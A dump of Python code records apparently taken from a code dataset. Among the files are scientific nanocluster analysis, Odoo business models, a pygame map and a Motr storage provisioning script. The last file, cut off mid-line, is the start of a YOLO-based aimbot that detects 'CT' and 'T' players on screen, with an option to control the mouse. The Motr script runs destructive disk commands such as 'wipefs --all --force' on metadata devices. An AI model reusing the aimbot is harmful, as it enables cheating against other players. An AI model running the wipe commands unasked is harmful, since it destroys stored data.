sulfido atoms if )\r\n neighs = [i for i\r\n in np.unique(bonds[np.where(bonds == a.index)[0]])\r\n if i != a.index]\r\n s_neighs = sum([1 for s in neighs\r\n if atom[s].symbol == 'S' and s not in core])\r\n\r\n # less than two S neighbors = core atom\r\n if s_neighs < 2:\r\n # add CN\r\n cn = len(neighs)\r\n corecnavg += cn\r\n\r\n # add index to list of core atoms\r\n core.append(a.index)\r\n\r\n # get avg core CN\r\n corecnavg /= len(core)\r\n\r\n # number of atoms in core\r\n num_core = len(core)\r\n\r\n # get core CN avg excluding core-shell bonds\r\n b = get_bonds(atom[core])\r\n justcorecnavg = np.unique(b, return_counts=True)[1].mean()\r\n\r\n # get shell atoms\r\n shell = [k.index for k in atom if k.index not in core]\r\n\r\n if num_core:\r\n # calculate min shell-to-core distance for Au shell atoms\r\n dists = [min([atom.get_distance(sh, c) for c in core])\r\n for sh in shell if atom[sh].symbol in METALS]\r\n\r\n # add Au atoms to nshellint if their distance is < 5 to core\r\n nshellint = sum([1 for m in dists if m < 5.0])\r\n else:\r\n nshellint = 0\r\n\r\n # find bridging motifs\r\n # if no R group, bridging S will have no bonds\r\n # else they'll have 1 bond\r\n match = 1 if hasr else 0\r\n\r\n # create matrix only containing shell bonds\r\n shell_bonds = np.array([b for b in bonds if np.isin(b, shell).all()])\r\n\r\n # find bridging S's by matching CN\r\n bridges = [s for s in shell\r\n if (shell_bonds == s).sum() == match and\r\n atom[s].symbol == 'S']\r\n\r\n # add in bridging S's to nshellint\r\n nshellint += len(bridges)\r\n\r\n # create info dict\r\n info = {'core': core,\r\n 'shell': shell,\r\n 'sulfido': sulfido,\r\n 'bridge': bridges,\r\n 'nshellint': nshellint,\r\n 'corecnavg': corecnavg,\r\n 'justcorecnavg': justcorecnavg}\r\n\r\n # print summary of info (if show)\r\n if show:\r\n print('')\r\n print(atom.get_chemical_formula('metal').center(CEN, '-'))\r\n\r\n if not hasr:\r\n print('Unable to find sulfidos (no Rs in NC)'.rjust(CEN))\r\n\r\n print('----- Sep. Info -----'.center(CEN))\r\n print('N-core'.rjust(VCEN) + ': %i' % (len(info['core'])))\r\n print('N-shellint'.rjust(VCEN) + ': %i' % (info['nshellint']))\r\n print('Core CN Avg'.rjust(VCEN) + ': %.3f' % (info['corecnavg']))\r\n jccn = 'Just Core CN Avg'.rjust(VCEN)\r\n print(jccn + ': %.3f\\n' % (info['justcorecnavg']))\r\n\r\n return info\r\n\r\n\r\ndef count_motifs(atom, full_cluster=False, scale=SCALE,\r\n show=False, sulfido=[], sulfido_in_core=False):\r\n \"\"\"\r\n Algorithmically determine motif types and counts of metal NC\r\n\r\n Arguments:\r\n atom {ase.Atoms} -- metal NC atoms object\r\n\r\n Keyword Arguments:\r\n full_cluster {bool} -- if False, atoms object only contains shell\r\n (default: {False})\r\n scale {float} -- scales covalent radii when calculating neighborlist\r\n (default: {1.0})\r\n show {bool} -- if True, motif info is printed\r\n (default: {False})\r\n sulfido {list} -- list of sulfido atom indices found from\r\n get_core_shell function\r\n (default: {[]})\r\n sulfido_in_core {bool} -- True: sulfido atoms were included in core\r\n False: sulfido atoms were included in shell\r\n (default: {False})\r\n\r\n Returns:\r\n motif info {dict}: {-1: [sulfido indices],\r\n 0: [bridging S indices],\r\n 1: [monomer (S-M-S) indices],\r\n 2: [dimer (S-M-S-M-S) indices],\r\n ...etc}\r\n \"\"\"\r\n\r\n if isinstance(atom, str):\r\n atom = ase.io.read(atom)\r\n\r\n fc_atom = atom.copy()\r\n\r\n # dictionary of motifs\r\n # key: motif type (1 - monomer, 3 - trimer, etc.)\r\n # negative values: -1 = sulfido, -n = \"n-meric ring\"\r\n # values: lists of Au and S indices for motif\r\n all_motifs = {}\r\n\r\n # separate into shell if full cluster\r\n if full_cluster:\r\n cs_res = get_core_shell(atom, scale=scale, show=False)\r\n atom = ase.Atoms(atom[cs_res['shell']])\r\n shell_i = cs_res['shell']\r\n sulfido = cs_res['sulfido']\r\n else:\r\n shell_i = np.arange(len(atom))\r\n\r\n # create list to map aus_indices back to orig atom_indices\r\n # finds metal and S atoms that are in shell\r\n mapping_i = np.array([i.index\r\n for i in fc_atom\r\n if i.symbol in MS and\r\n i.index in shell_i])\r\n\r\n # make atoms obj of just S and metals (no R)\r\n aus = ase.Atoms(fc_atom[mapping_i])\r\n\r\n # add sulfido atoms to motifs (if any)\r\n if len(sulfido):\r\n all_motifs[-1] = sulfido\r\n\r\n # get bonds list\r\n bonds = get_bonds(aus, scale=scale)\r\n\r\n # S-M-S-M-...-S motif building\"\"\"\r\n aus_i = set(range(len(aus)))\r\n motif = []\r\n used = set()\r\n ends_found = [0, 0]\r\n while aus_i:\r\n if not motif:\r\n i = aus_i.pop()\r\n motif = [i]\r\n used.add(i)\r\n # print(aus[i].symbol, end='\\r')\r\n\r\n # find atoms bonded to i\r\n for i, last in zip([motif[-1], motif[0]], [True, False]):\r\n if ends_found[last]:\r\n continue\r\n\r\n bonded2 = np.unique(bonds[np.where(bonds == i)[0]])\r\n for b in bonded2:\r\n # find next link in motif\r\n # - cannot be same atom type\r\n # - cannot be already included in motif\r\n if (b != i and (aus[b].symbol != aus[i].symbol)\r\n and b not in used):\r\n motif.insert(len(motif) * last, b)\r\n # print('-'.join([aus[z].symbol for z in motif]), end='\\r')\r\n\r\n # remove b from aus_i\r\n aus_i.remove(b)\r\n\r\n # add b to used\r\n used.add(b)\r\n done = True\r\n break\r\n else:\r\n ends_found[last] = 1\r\n\r\n # once both motif ends found, add it to all_motifs\r\n if sum(ends_found) == 2 or not aus_i:\r\n # else all of motif has been found\r\n if len(motif) == 1:\r\n mtype = 0\r\n elif len(motif) % 2:\r\n mtype = int((len(motif) - 1) / 2)\r\n else:\r\n mtype = -int(len(motif) / 2)\r\n atom_indices = mapping_i[motif].tolist()\r\n if mtype not in all_motifs:\r\n all_motifs[mtype] = [atom_indices]\r\n else:\r\n all_motifs[mtype].append(atom_indices)\r\n\r\n # reset motif list\r\n motif = []\r\n ends_found = [0, 0]\r\n # print('')\r\n\r\n for m in all_motifs:\r\n all_motifs[m] = np.array(all_motifs[m])\r\n\r\n if show:\r\n print_motifs(all_motifs, sulfido_in_core=sulfido_in_core)\r\n\r\n return all_motifs\r\n\r\n\r\ndef print_motifs(motifs_dict, sulfido_in_core=False):\r\n \"\"\"prints motif types and counts of dict from count_motifs function\r\n\r\n Arguments:\r\n motifs_dict {dict} -- motifs dictionary returned from count_motifs\r\n function\r\n\r\n Keyword Arguments:\r\n sulfido_in_core {bool} -- True: sulfido atoms were included in core\r\n False: sulfido atoms were included in shell\r\n (default: {False})\r\n \"\"\"\r\n print('---- Motifs Info ----'.center(CEN))\r\n if -1 in motifs_dict:\r\n if sulfido_in_core:\r\n print('(sulfidos in core)'.center(CEN))\r\n else:\r\n print('(sulfidos in shell)'.center(CEN))\r\n for m in sorted(motifs_dict):\r\n if m == -1:\r\n name = 'sulfido'\r\n elif m < -1:\r\n name = MOTIFNAMES[-m] + 'ic-ring'\r\n else:\r\n name = MOTIFNAMES[m]\r\n print(name.rjust(VCEN) + ': %i' % (len(motifs_dict[m])))\r\n\r\n\r\ndef save_view_atom(baseatom, options, args, action='save', ne_core=False):\r\n \"\"\"creates atom object of args passed in and saves or visualizes it\r\n\r\n Arguments:\r\n baseatom {ase.Atoms} -- full atoms object to take\r\n options {dict} -- sections of atoms object that can be pieced together\r\n to make temp atom\r\n args {list} -- list of args that should match options keys to make\r\n temp atom\r\n\r\n Keyword Arguments:\r\n action {str} -- either save or vis temp atom\r\n (default: {'save'})\r\n ne_core {bool} -- convert core metal atoms to Ne\r\n (default: {True})\r\n \"\"\"\r\n # build atoms object based on args\r\n showme = []\r\n for arg in args:\r\n arg = arg.lower()\r\n if arg in options:\r\n add = options[arg]\r\n if arg == 'core' and (action == 'vis' or ne_core):\r\n for a in add:\r\n if a.symbol in METALS:\r\n a.symbol = 'Ne'\r\n showme += list(add)\r\n else:\r\n # quit if incorrect option given\r\n print('ERROR'.center(CEN))\r\n cant = 'cannot %s \"%s\"' % (action, arg)\r\n print(cant.center(CEN))\r\n title = '%s OPTIONS:' % action.upper()\r\n print(title.center(CEN))\r\n for o in options:\r\n print(o.center(CEN))\r\n return\r\n\r\n # remove duplicate atoms\r\n compare = []\r\n final = []\r\n for s in showme:\r\n # remove duplicate atoms (based on symbol in position)\r\n a_id = [s.symbol, s.x, s.y, s.z]\r\n if a_id not in compare:\r\n final.append(s)\r\n compare.append(a_id)\r\n\r\n final = ase.Atoms(final)\r\n name = '-'.join(map(str.lower, args))\r\n\r\n # save/view atoms obj based on action\r\n if action == 'save':\r\n final.write(name + '.xyz')\r\n elif action == 'vis':\r\n ase.visualize.view(final)\r\n\r\n # successful action is printed to output\r\n outp = '%s: %s' % (action, name.replace('-', ', '))\r\n print(outp.center(CEN))\r\n\r\n\r\ndef summ_nc_dir(dirpath, scale=SCALE, sulfido_in_core=False):\r\n \"\"\"\r\n Calculates core shell info and motifs of all XYZ files in a given directory\r\n\r\n Arguments:\r\n dirpath {str} -- path to a directory containing NC .xyz files\r\n\r\n Keywork Arguments:\r\n scale {float} -- scale covalent radii of each atom - for determining\r\n neighbors when no neighborlist is passed in\r\n (default: {1.0})\r\n sulfido_in_core {bool} -- True: sulfido atoms were included in core\r\n False: sulfido atoms were included in shell\r\n (default: {False})\r\n \"\"\"\r\n for f in os.listdir(dirpath):\r\n # read in xyz path\r\n atom = ase.io.read(os.path.join(dirpath, f))\r\n\r\n # split atoms into core and shell\r\n info = get_core_shell(atom,\r\n scale=scale)\r\n\r\n shell = atom[info['shell']].copy()\r\n all_motifs = count_motifs(shell,\r\n scale=scale,\r\n show=True,\r\n sulfido=info['sulfido'])\r\n\r\n if info['sulfido']:\r\n info_sic = get_core_shell(atom, scale=scale, sulfido_in_core=True,\r\n show=False)\r\n shell_sic = atom[info_sic['shell']].copy()\r\n all_motifs_sic = count_motifs(shell_sic,\r\n scale=scale,\r\n show=True,\r\n sulfido=info_sic['sulfido'],\r\n sulfido_in_core=True)\r\n print('-' * CEN)\r\n\r\n","sub_path":"canela/lpnc/structure.py","file_name":"structure.py","file_ext":"py","file_size_in_byte":18886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"504984066","text":"# -*- coding: utf-8 -*-\n# © <2016> \n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\nfrom openerp import fields, models\n\nclass hr_account_expense(models.Model):\n _name = 'hr.account.expense'\n _description = 'HR ACCOUNT EXPENSE'\n\n name = fields.Char(\n string='Nombre',\n required=True\n )\n old_id = fields.Integer(\n string='Old id'\n )\n old_conf_ids = fields.One2many(\n string='Configuración',\n comodel_name='hr.segment.config',\n inverse_name='segment_id'\n )","sub_path":"hr_paysheet/models/hr_account_expense.py","file_name":"hr_account_expense.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"124341350","text":"from spynnaker.pyNN.models.neural_projections.connectors.kernel_connector\\\n import KernelConnector as CommonKernelConnector\nimport numpy\nfrom spynnaker.pyNN.models.neural_projections.connectors import ConvolutionKernel\n\nclass KernelConnector(CommonKernelConnector):\n \n def __init__(self, shape_pre, shape_post, shape_kernel,\n shape_common=None, pre_sample_steps=None, pre_start_coords=None,\n post_sample_steps=None, post_start_coords=None,\n weights=1., delays=1.,\n safe=True, space=None, verbose=False, generate_on_machine=False):\n\n CommonKernelConnector.__init__(self, shape_pre, shape_post, shape_kernel,\n shape_common=shape_common, pre_sample_steps=pre_sample_steps, \n pre_start_coords=pre_start_coords,\n post_sample_steps=post_sample_steps, \n post_start_coords=post_start_coords, \n weights=weights, delays=delays,\n safe=safe, space=space, verbose=verbose, \n generate_on_machine=generate_on_machine)\n self._delays = delays.view(ConvolutionKernel) \\\n if isinstance(delays, numpy.ndarray) else delays\n self._weights = weights.view(ConvolutionKernel) \\\n if isinstance(weights, numpy.ndarray) else weights\n # self._weights = weights\n # self._delays = delays\n\n # self.set_weights_and_delays(weights, delays)\n # print(\"\\n\\nspynn7 gen on machine = %s\\n\"%self._gen_on_spinn)","sub_path":"spynnaker7/pyNN/models/connectors/kernel_connector.py","file_name":"kernel_connector.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"449437069","text":"import pygame\n\n\"\"\"\nGameMap should include(Version 1)\n1.making block group for Hero and monsters to move\n2.Map drawing\n\"\"\"\n\n\n# block class used to create array of rectangles for walls\nclass Block:\n def __init__(self, rect):\n self.rect = rect\n\n\nclass GameMap():\n def __init__(self, game_map_img, map_x, map_y):\n \"\"\"\n :param game_map_img: map img\n :param map_x: map position x\n :param map_y: map position y\n \"\"\"\n self.game_map_img = game_map_img\n self.map_x = map_x\n self.map_y = map_y\n\n def draw_map(self, screen):\n screen.blit(self.game_map_img, (self.map_x, self.map_y))\n\n # global block_group list is for Hero and monsters movement used in their own .py files\n def make_block_group(self, maze_map_file, TILE_SIZE, block_str):\n \"\"\"\n label the block position in block_group list\n \"\"\"\n block_group = []\n block_group.clear()\n\n # read the 1_maze.txt into lines as list\n with open(maze_map_file, 'r') as f:\n maze_lines = f.read().splitlines()\n\n # getting length of list\n num_lines = len(maze_lines)\n\n # assume all line lengths are the same as top line(columns)\n maze_map_width = len(maze_lines[0])\n maze_map_height = num_lines\n\n # based on the list, label the blocks in block_group list\n for i in range(maze_map_height):\n for j in range(maze_map_width):\n if maze_lines[i][j] == block_str:\n block = Block(pygame.Rect(TILE_SIZE * j, TILE_SIZE * i, TILE_SIZE, TILE_SIZE))\n block_group.append(block)\n\n return block_group\n\n","sub_path":"Code/GameMap.py","file_name":"GameMap.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"503095273","text":"# -*- coding: utf-8 -*-\nfrom odoo import fields, models, api, _\nfrom odoo.exceptions import ValidationError\nfrom datetime import datetime\n\n\n\n\nclass PurchaseLOC(models.Model):\n\n _inherit = 'purchase.order'\n\n is_loc = fields.Boolean()\n\n\n # create letter of control automatic\n\n\n @api.multi\n def create_LOC(self):\n\n # the picking folowed by this po\n picking_obj = self._get_shipment()\n\n\n # the invoices folowed by this po\n invoice_line = self._get_all_invoice_line()\n lc_line = self._get_all_cost_line()\n\n # create letter of credit record\n\n for r in self:\n if self.is_loc:\n loc_obj = self.env['letter.of.credit']\n vals = {'po_id':self.id,\n 'shipment_num':picking_obj,\n 'cost_line_ids':lc_line,\n 'invoice_line_ids':invoice_line\n }\n loc_obj.create(vals)\n\n\n\n\n\n # return all picking to add in letter of credit\n\n @api.multi\n def _get_shipment(self):\n list = []\n picking_objs = self.env['stock.picking'].search([('origin','=',self.name)])\n shipment_objs = []\n\n # get and append many picking object\n\n for picking in picking_objs:\n shipment_objs.append(\n (4,picking.id)\n )\n\n return shipment_objs\n\n\n\n\n # return the invoice line to add in letter of credit\n\n @api.multi\n def _get_all_invoice_line(self):\n\n invoices = self.env['account.invoice'].search([('origin','=',self.name)])\n invoice_line = []\n\n # get and append many invoice line object\n\n for invoice in invoices:\n for line in invoice.invoice_line_ids:\n invoice_line.append(\n (4,line.id)\n )\n\n\n return invoice_line\n\n\n\n # return the lc cost lines line to add in letter of credit\n\n @api.multi\n def _get_all_cost_line(self):\n picking_obj = self._get_shipment()\n ids =[]\n\n for r in picking_obj:\n for i in r :\n ids.append(i)\n\n LCs = self.env['stock.landed.cost'].search([('picking_ids','in',ids)])\n lc_line = []\n # get and append many lc line object\n\n for lc in LCs:\n for line in lc.cost_lines:\n lc_line.append(\n (4,line.id)\n )\n\n\n return lc_line","sub_path":"custom/letter_of_credit10/models/purchase_order_inherit.py","file_name":"purchase_order_inherit.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"64166556","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2021 Seagate Technology LLC and/or its Affiliates\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# For any questions about this software or licensing,\n# please email opensource@seagate.com or cortx-questions@seagate.com.\n#\nimport sys\nimport errno\nimport os\nimport re\nimport subprocess\nimport time\nfrom cortx.utils.conf_store import Conf\n\nMOTR_KERNEL_FILE = \"/lib/modules/{kernel_ver}/kernel/fs/motr/m0tr.ko\"\nMOTR_SYS_FILE = \"/etc/sysconfig/motr\"\nMOTR_CONFIG_SCRIPT = \"/opt/seagate/cortx/motr/libexec/motr_cfg.sh\"\nLNET_CONF_FILE = \"/etc/modprobe.d/lnet.conf\"\nSYS_CLASS_NET_DIR = \"/sys/class/net/\"\nMOTR_SYS_CFG = \"/etc/sysconfig/motr\"\nSLEEP_SECS = 2\nTIMEOUT_SECS = 120\n\nclass MotrError(Exception):\n \"\"\" Generic Exception with error code and output \"\"\"\n\n def __init__(self, rc, message, *args):\n self._rc = rc\n self._desc = message % (args)\n sys.stderr.write(\"error(%d): %s\\n\" %(self._rc, self._desc))\n\n def __str__(self):\n if self._rc == 0: return self._desc\n return \"error(%d): %s\" %(self._rc, self._desc)\n\n\ndef execute_command(cmd, timeout_secs):\n\n ps = subprocess.Popen(cmd, stdin=subprocess.PIPE,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n shell=True)\n stdout, stderr = ps.communicate(timeout=timeout_secs);\n stdout = str(stdout, 'utf-8')\n sys.stdout.write(f\"[CMD] {cmd}\\n\")\n sys.stdout.write(f\"[OUT]\\n{stdout}\\n\")\n sys.stdout.write(f\"[RET] {ps.returncode}\\n\")\n if ps.returncode != 0:\n raise MotrError(ps.returncode, f\"{cmd} command failed\")\n return stdout, ps.returncode\n\ndef get_current_node(self):\n cmd = \"cat /etc/machine-id\"\n machine_id = execute_command(cmd, TIMEOUT_SECS)\n machine_id = machine_id[0].split('\\n')[0]\n return Conf.get(self._index, 'cluster>server_nodes')[machine_id]\n\ndef restart_services(services):\n for service in services:\n cmd = \"service {} stop\".format(service)\n execute_command(cmd, TIMEOUT_SECS)\n cmd = \"service {} start\".format(service)\n execute_command(cmd, TIMEOUT_SECS)\n cmd = \"service {} status\".format(service)\n execute_command(cmd, TIMEOUT_SECS)\n\ndef validate_file(file):\n if not os.path.exists(file):\n raise MotrError(errno.ENOENT, \"{} not exist\".format(file))\n\ndef is_hw_node(self):\n node_type = Conf.get(self._index, f'cluster>{self._server_id}')['node_type']\n if node_type == \"HW\":\n return True\n else:\n return False\n\ndef validate_motr_rpm(self):\n try:\n cmd = \"uname -r\"\n cmd_res = execute_command(cmd, TIMEOUT_SECS)\n op = cmd_res[0]\n kernel_ver = op.replace('\\n', '')\n kernel_module = f\"/lib/modules/{kernel_ver}/kernel/fs/motr/m0tr.ko\"\n sys.stdout.write(f\"[INFO] Checking for {kernel_module}\\n\")\n validate_file(kernel_module)\n sys.stdout.write(f\"[INFO] Checking for {MOTR_SYS_FILE}\\n\")\n validate_file(MOTR_SYS_FILE)\n except MotrError as e:\n sys.stderr.write(\"Validate motr rpm failed\\n\")\n sys.exit(e._rc)\n\ndef motr_config(self):\n is_hw = is_hw_node(self)\n if is_hw:\n execute_command(MOTR_CONFIG_SCRIPT, TIMEOUT_SECS)\n\ndef configure_net(self):\n '''Wrapper function to detect lnet/libfabric transport'''\n transport_type = Conf.get(self._index,\n f'cluster>{self._server_id}')['network']['data']['transport_type']\n if transport_type == \"lnet\":\n configure_lnet_from_conf_store(self)\n elif transport_type == \"libfabric\":\n configure_libfabric(self)\n else:\n sys.stderr.write(\"[ERR] Unknown data transport type\\n\")\n\ndef configure_lnet_from_conf_store(self):\n '''\n Get iface and /etc/modprobe.d/lnet.conf params from\n conf store. Configure lnet. Start lnet service\n '''\n iface = Conf.get(self._index,\n f'cluster>{self._server_id}')['network']['data']['private_interfaces'][0]\n iface_type = Conf.get(self._index,\n f'cluster>{self._server_id}')['network']['data']['interface_type']\n sys.stdout.write(f\"[INFO] {iface_type}=({iface})\\n\")\n sys.stdout.write(f\"[INFO] Updating {LNET_CONF_FILE}\\n\")\n with open(LNET_CONF_FILE, \"w\") as fp:\n fp.write(f\"options lnet networks={iface_type}({iface}) \"\n f\"config_on_load=1 lnet_peer_discovery_disabled=1\\n\")\n time.sleep(SLEEP_SECS)\n restart_services([\"lnet\"])\n\ndef configure_libfabric(self):\n pass\n\ndef create_lvm(node_name, index, metadata_dev):\n index = index + 1\n vg_name = f\"vg_{node_name}_md{index}\"\n lv_swap_name = f\"lv_main_swap{index}\"\n lv_md_name = f\"lv_raw_md{index}\"\n try:\n validate_file(metadata_dev)\n\n cmd = f\"fdisk -l {metadata_dev}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"wipefs --all --force {metadata_dev}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"pvcreate {metadata_dev}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"vgcreate {vg_name} {metadata_dev}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"vgchange --addtag {node_name} {vg_name}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = \"vgscan --cache\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"lvcreate -n {lv_swap_name} {vg_name} -l 51%VG\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"lvcreate -n {lv_md_name} {vg_name} -l 100%FREE\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"mkswap -f /dev/{vg_name}/{lv_swap_name}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = f\"test -e /dev/{vg_name}/{lv_swap_name}\"\n execute_command(cmd, TIMEOUT_SECS)\n\n cmd = (\n f\"echo \\\"/dev/{vg_name}/{lv_swap_name} swap \"\n f\"swap defaults 0 0\\\" >> /etc/fstab\"\n )\n execute_command(cmd, TIMEOUT_SECS)\n except:\n pass\n\ndef config_lvm(self):\n metadata_devices = Conf.get(self._index,\n f'cluster>{self._server_id}')['storage']['metadata_devices']\n sys.stdout.write(f\"[INFO] server_id={self._server_id} \"\n f\" metadata_device={metadata_devices}\\n\")\n \n cmd = \"swapoff -a\"\n execute_command(cmd, TIMEOUT_SECS)\n\n for device in metadata_devices:\n create_lvm(self._server_id, metadata_devices.index(device), device)\n \n cmd = \"swapon -a\"\n execute_command(cmd, TIMEOUT_SECS)\n\ndef get_lnet_xface() -> str:\n lnet_xface = None\n try:\n with open(LNET_CONF_FILE, 'r') as f:\n # Obtain interface name\n for line in f.readlines():\n if len(line.strip()) <= 0: continue\n tokens = re.split(r'\\W+', line)\n if len(tokens) > 4:\n lnet_xface = tokens[4]\n break\n except:\n pass\n\n if lnet_xface == None:\n raise MotrError(errno.EINVAL, \"Cant obtain iface details from %s\"\n , LNET_CONF_FILE)\n if lnet_xface not in os.listdir(SYS_CLASS_NET_DIR):\n raise MotrError(errno.EINVAL, \"Invalid iface %s in lnet.conf\"\n , lnet_xface)\n\n return lnet_xface\n\ndef check_pkgs(src_pkgs, dest_pkgs):\n missing_pkgs = []\n for src_pkg in src_pkgs:\n found = False\n for dest_pkg in dest_pkgs:\n if src_pkg in dest_pkg:\n found = True\n break\n if not found:\n missing_pkgs.append(src_pkg)\n if missing_pkgs:\n raise MotrError(errno.ENOENT, f'Missing pkgs: {missing_pkgs}')\n\ndef test_lnet(self):\n search_lnet_pkgs = [\"kmod-lustre-client\", \"lustre-client\"]\n\n try:\n # Check missing luster packages\n cmd = 'rpm -qa | grep lustre'\n cmd_res = execute_command(cmd, TIMEOUT_SECS)\n temp = cmd_res[0]\n lustre_pkgs = list(filter(None, temp.split(\"\\n\")))\n check_pkgs(search_lnet_pkgs, lustre_pkgs)\n\n lnet_xface = get_lnet_xface()\n ip_addr = os.popen(f'ip addr show {lnet_xface}').read()\n ip_addr = ip_addr.split(\"inet \")[1].split(\"/\")[0]\n cmd = \"ping -c 3 {}\".format(ip_addr)\n cmd_res = execute_command(cmd, TIMEOUT_SECS)\n sys.stdout.write(\"{}\\n\".format(cmd_res[0]))\n except MotrError as e:\n pass\n\n\n","sub_path":"scripts/install/opt/seagate/cortx/motr/bin/motr_mini_prov.py","file_name":"motr_mini_prov.py","file_ext":"py","file_size_in_byte":8735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"13148446","text":"import os\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\r\n\r\nimport time\r\nimport cv2\r\nimport mss\r\nimport numpy as np\r\nfrom tensorflow.python.saved_model import tag_constants\r\nimport tensorflow as tf\r\nimport win32gui, win32ui, win32con, win32api\r\n\r\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\r\nif len(physical_devices) > 0:\r\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\r\n\r\nimport core.utils as utils\r\n\r\n\r\n# Config\r\nWEIGHTS_PATH = \"./checkpoints/yolov4-416\"\r\nSHOW_REVIEW_WINDOW = True \r\nDETECT_CLASS_INDEX = 0 # 0 for Ct, 1 for T\r\nCONTROL_MOUSE = True\r\n\r\n\r\nclass YoloAim:\r\n def __init__(\r\n self,\r\n weights_path,\r\n input_size = 416,\r\n iou = 0.45,\r\n score = 0.25,\r\n capture_dimension = (640, 640),\r\n classes = None,\r\n num_classes = 2,\r\n detect_class_index = None,\r\n review_window = False,\r\n control_mouse = False,\r\n ):\r\n \"\"\"\r\n weights_path : path of saved model weights\r\n input_size : model image input size\r\n iou : model Intersection over Union threshold\r\n score : model score\r\n capture_dimension : screen image input dimension from display\r\n classes : classes from classification. 0 for CT and 1 for T.\r\n num_classes : num of classes from classification, for current training just 2. \r\n detect_class_index : define which class to detect, None for all. If not the index number must reflect index from classes.\r\n I.e. 0 for CT, 1 for T.\r\n review_window : draw box in new popup window for review.\r\n control_mouse : control user mouse movement.\r\n \"\"\"\r\n\r\n self.review_window = review_window\r\n self.control_mouse = control_mouse\r\n self.fps = 0\r\n self.start_time = time.time()\r\n self.capture_dimension = capture_dimension\r\n self.monitor = self.get_detect_dimension(capture_dimension)\r\n self.padding_dimension = self.get_padding_dimension(capture_dimension)\r\n\r\n # Detection Config\r\n self.classes = classes if classes is not None else [\"CT\", \"T\"]\r\n self.num_classes = num_classes\r\n self.detect_class_index = detect_class_index\r\n self.input_size = input_size\r\n self.iou = iou\r\n self.score = score\r\n self.model = tf.saved_model.load(weights_path, tags=[tag_constants.SERVING])\r\n print(\"Finished loading weights.\")\r\n\r\n def get_detect_dimension(self, capture_dimension):\r\n \"\"\"\r\n Return screen dimension for object detection.\r\n\r\n capture_dimension: [w, h]\r\n \"\"\"\r\n\r\n dimension = [win32api.GetSystemMetrics(0), win32api.GetSystemMetrics(1)] # x, y\r\n center = [int(dimension[0] / 2), int(dimension[1] / 2)]\r\n x1 = center[0] - int(capture_dimension[0] / 2)\r\n y1 = center[1] - int(capture_dimension[1] / 2)\r\n\r\n return (x1, y1, capture_dimension[0], capture_dimension[1])\r\n\r\n def get_padding_dimension(self, capture_dimension):\r\n \"\"\"\r\n Return screen padding for object detection.\r\n\r\n capture_dimension: [w, h]\r\n \"\"\"\r\n\r\n dimension = [win32api.GetSystemMetrics(0), win32api.GetSystemMetrics(1)] # x, y\r\n padding_w = (dimension[0] - capture_dimension[0]) / 2\r\n padding_h = (dimension[1] - capture_dimension[1]) / 2\r\n return (padding_w, padding_h)\r\n\r\n def grab_screen(self, region=None):\r\n hwin = win32gui.GetDesktopWindow()\r\n\r\n if region:\r\n left,top,x2,y2 = region\r\n width = x2 - left + 1\r\n height = y2 - top + 1\r\n else:\r\n width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)\r\n height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)\r\n left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)\r\n top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)\r\n\r\n hwindc = win32gui.GetWindowDC(hwin)\r\n srcdc = win32ui.CreateDCFromHandle(hwindc)\r\n memdc = srcdc.CreateCompatibleDC()\r\n bmp = win32ui.CreateBitmap()\r\n bmp.CreateCompatibleBitmap(srcdc, width, height)\r\n memdc.SelectObject(bmp)\r\n memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)\r\n \r\n signedIntsArray = bmp.GetBitmapBits(True)\r\n img = np.fromstring(signedIntsArray, dtype='uint8')\r\n img.shape = (height,width,4)\r\n\r\n srcdc.DeleteDC()\r\n memdc.DeleteDC()\r\n win32gui.ReleaseDC(hwin, hwindc)\r\n win32gui.DeleteObject(bmp.GetHandle())\r\n\r\n return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB)\r\n\r\n def detect(self, original_image):\r\n image_data = cv2.resize(original_image, (self.input_size, self.input_size))\r\n image_data = image_data / 255.\r\n\r\n images_data = []\r\n for i in range(1):\r\n images_data.append(image_data)\r\n images_data = np.asarray(images_data).astype(np.float32)\r\n\r\n infer = self.model.signatures['serving_default']\r\n batch_data = tf.constant(images_data)\r\n pred_bbox = infer(batch_data)\r\n for key, value in pred_bbox.items():\r\n boxes = value[:, :, 0:4]\r\n pred_conf = value[:, :, 4:]\r\n\r\n boxes, scores, classes, valid_detections = 